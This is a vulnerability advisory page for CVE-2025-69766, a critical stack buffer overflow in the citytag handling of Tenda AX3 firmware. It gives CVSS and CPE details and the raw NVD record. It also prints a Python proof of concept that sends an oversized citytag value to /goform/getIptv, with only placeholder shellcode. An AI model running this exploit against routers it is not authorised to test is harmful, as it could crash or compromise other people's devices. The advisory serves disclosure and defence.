Security Vulnerability Report
中文
CVE-2025-69766 CVSS 9.8 CRITICAL

CVE-2025-69766

Published: 2026-01-21 18:16:24
Last Modified: 2026-01-26 20:38:31

Description

Tenda AX3 firmware v16.03.12.11 contains a stack-based buffer overflow in the formGetIptv function due to improper handling of the citytag stack buffer, which may result in memory corruption and remote code execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ax3_firmware:16.03.12.11:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AX3 固件 < v16.03.12.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-69766 PoC - Tenda AX3 formGetIptv Buffer Overflow This PoC demonstrates the stack-based buffer overflow in formGetIptv function """ import requests import sys TARGET_URL = "http://{target_ip}" # Replace with target IP def exploit_cve_2025_69766(): """ Exploit the buffer overflow in formGetIptv function The vulnerability is caused by improper handling of citytag parameter """ # Create payload with excessive length to overflow the citytag buffer # The exact buffer size may vary, using 500 bytes as demonstration overflow_length = 500 payload = "A" * overflow_length # Target endpoint for formGetIptv endpoint = f"{TARGET_URL}/goform/getIptv" # Prepare the malicious request params = { "citytag": payload } try: print(f"[*] Sending exploit payload to {endpoint}") print(f"[*] Payload length: {len(payload)} bytes") # Send the malicious request response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def create_shellcode_payload(): """ Generate shellcode for remote code execution This is a placeholder - actual shellcode should be tailored for MIPS architecture """ # MIPS shellcode for reverse shell - example structure # In real exploitation, this would be architecture-specific shellcode = b"\x00" * 100 # Placeholder return shellcode if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) TARGET_URL = f"http://{sys.argv[1]}" exploit_cve_2025_69766()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69766", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:24.253", "lastModified": "2026-01-26T20:38:30.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX3 firmware v16.03.12.11 contains a stack-based buffer overflow in the formGetIptv function due to improper handling of the citytag stack buffer, which may result in memory corruption and remote code execution."}, {"lang": "es", "value": "El firmware v16.03.12.11 de Tenda AX3 contiene un desbordamiento de búfer basado en pila en la función formGetIptv debido a un manejo inadecuado del búfer de pila citytag, lo que puede resultar en corrupción de memoria y ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.11:*:*:*:*:*:*:*", "matchCriteriaId": "9FFD11D4-8E44-4156-9D8E-7094E36A2152"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formGetIptv-2c9a595a7aef8043a091e6722b8e255a", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formGetIptv-2c9a595a7aef8043a091e6722b8e255a?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}